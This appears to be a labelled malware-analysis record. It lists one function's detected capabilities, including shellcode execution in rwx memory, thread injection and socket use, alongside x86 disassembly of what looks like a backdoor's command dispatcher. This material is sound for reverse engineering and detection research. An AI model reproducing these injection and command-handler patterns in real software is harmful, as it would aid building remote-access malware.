Function at 0x10008cf4
Capabilities:
Allocate or change rwx memory
Connect socket
Connect udp socket
Create thread
Create udp socket
Execute shellcode via indirect call
Get common file path
Get disk information
Inject thread
Resolve dns
Set socket configuration
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push esi
mov esi, dword [0x1003e0b0]
push edi
push dword [eax]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x1000520b
cmp dword [esi], edi
jne 0x10005208
push dword [esi + 8]
and dword [esi + 4], 0
call fcn.10015721
pop ecx
mov esi, dword [esi + 0xc]
test esi, esi
jne 0x100051f7
pop edi
pop esi
ret
push dword [eax]
call sub.WS2_32.dll_ntohl
xor edx, edx
mov ecx, 0x1003e0e0
cmp dword [ecx + 0x24], 1
jne 0x100071af
cmp dword [ecx], eax
je 0x100071bc
add ecx, 0x34
inc edx
cmp ecx, 0x1003e900
jl 0x100071a5
ret
mov eax, edx
imul eax, eax, 0x34
push 0xa
push dword [eax + 0x1003e10c]
push dword [eax + 0x1003e108]
call fcn.10001355
add esp, 0xc
ret
push dword [eax]
call sub.WS2_32.dll_ntohl
push eax
call fcn.10007327
pop ecx
ret
push esi
push dword [eax]
mov esi, dword [0x1003e900]
call sub.WS2_32.dll_ntohl
jmp 0x10008044
cmp dword [esi + 4], 0
je 0x10008041
cmp eax, dword [esi]
jne 0x10008041
cmp dword [esi + 0x10], 2
je 0x10008041
and dword [esi + 4], 0
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x1000802d
pop esi
ret
push ebx
dec edx
push esi
push edi
cmp edx, 0x5a
ja case.0x10008d01.2
jmp dword [edx*4 + 0x10009034]
xor ebx, ebx
inc ebx
push ebx
push ecx
push eax
call fcn.10005d1f
add esp, 0xc
jmp case.0x10008d01.2
push 1
mov edx, eax
call fcn.10005c82
jmp 0x1000902d
pop edi
pop esi
pop ebx
jmp fcn.1000331f
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.100033a2
push eax
mov esi, ecx
call fcn.10003333
jmp 0x1000902d
push 0x1002da38
push ecx
push eax
call fcn.100039a4
jmp 0x10008d13
push ecx
push eax
call fcn.10004fb0
jmp 0x1000902c
push eax
mov esi, ecx
call fcn.100033da
jmp 0x1000902d
push 1
push ecx
push eax
call fcn.1000a699
jmp 0x10008d13
mov edx, ecx
mov ecx, eax
pop edi
pop esi
pop ebx
jmp fcn.10007dcf
push ecx
call fcn.10007fdb
jmp 0x1000902d
pop edi
pop esi
pop ebx
jmp 0x1000801d
push eax
call fcn.10007d7b
jmp 0x1000902d
push 1
jmp 0x10009026
pop edi
pop esi
pop ebx
jmp 0x100051e4
push ecx
call fcn.100071d8
jmp 0x1000902d
pop edi
pop esi
pop ebx
jmp 0x10007318
pop edi
pop esi
pop ebx
jmp 0x10007197
pop edi
pop esi
pop ebx
jmp fcn.1000ab1f
pop edi
pop esi
pop ebx
jmp fcn.1000a9ec
push ecx
push eax
call fcn.1000abee
jmp 0x1000902c
push ecx
push eax
call fcn.10004528
jmp 0x1000902c
push ecx
push eax
call fcn.10003a37
jmp 0x1000902c
push ecx
push eax
call fcn.100092bd
jmp 0x1000902c
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.100091f5
push eax
mov edi, ecx
call fcn.10006fb5
jmp 0x1000902d
pop edi
pop esi
pop ebx
jmp fcn.10006f52
push eax
mov edi, ecx
call fcn.1000851d
jmp 0x1000902d
push ecx
push eax
call fcn.10003734
jmp 0x1000902c
pop edi
pop esi
pop ebx
jmp fcn.10003bbe
push ecx
xor ecx, ecx
push eax
call fcn.10006d08
jmp 0x1000902c
pop edi
pop esi
pop ebx
jmp fcn.10006e38
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.10006ea0
push 0
jmp 0x10008d1d
xor ebx, ebx
push 0
inc ebx
jmp 0x10008d0c
push 1
push ecx
mov esi, eax
call fcn.10005e38
jmp 0x1000902c
push 0
jmp 0x10008e81
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.10003c22
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.1000671a
push ecx
push eax
call fcn.1000ae55
jmp 0x1000902c
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.1000841f
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.100084c9
push ecx
push eax
call fcn.10003cc4
jmp 0x1000902c
push ecx
push eax
call fcn.100054a9
jmp 0x1000902c
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.10005382
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.10005279
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.10005340
push ecx
push eax
call fcn.10003d7c
jmp 0x1000902c
push ecx
push eax
call fcn.10003efa
jmp 0x1000902c
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.1000b13a
push eax
mov esi, ecx
call fcn.1000449b
jmp 0x1000902d
pop edi
pop esi
pop ebx
jmp fcn.1000461a
push ecx
xor ecx, ecx
inc ecx
jmp 0x10008e51
push 0x1002da3c
jmp 0x10008d4d
push eax
call fcn.100074bd
jmp 0x1000902d
push 0
jmp 0x10008d71
xor ebx, ebx
inc ebx
push ebx
push ebx
push ecx
push eax
call fcn.10005fbc
add esp, 0x10
jmp case.0x10008d01.2
push 1
push 0
jmp 0x10008f5d
push eax
call fcn.10003383
jmp 0x1000902d
push ecx
push eax
call fcn.100053ab
jmp 0x1000902c
push ecx
push eax
call fcn.1000542b
jmp 0x1000902c
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.100058eb
push ecx
push eax
call fcn.100034a5
jmp 0x1000902c
push ecx
push eax
call fcn.100046f9
jmp 0x1000902c
push ecx
push eax
call fcn.100038b3
jmp 0x1000902c
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.10008556
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.10006224
push ecx
push eax
call fcn.1000a126
jmp 0x1000902c
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.10008474
push ecx
push eax
call fcn.10001092
jmp 0x1000902c
push ecx
call fcn.10001130
jmp 0x1000902d
pop edi
pop esi
pop ebx
jmp fcn.100011d5
mov edx, eax
pop edi
pop esi
pop ebx
jmp fcn.1000780d
push 0
push 1
jmp 0x10008f5d
push 0
jmp 0x10008f6e
push 1
xor ebx, ebx
jmp 0x10008d0c
push 0
jmp 0x10009019
push 0
push ecx
call fcn.10005de8
pop ecx
pop ecx
pop edi
pop esi
pop ebx
ret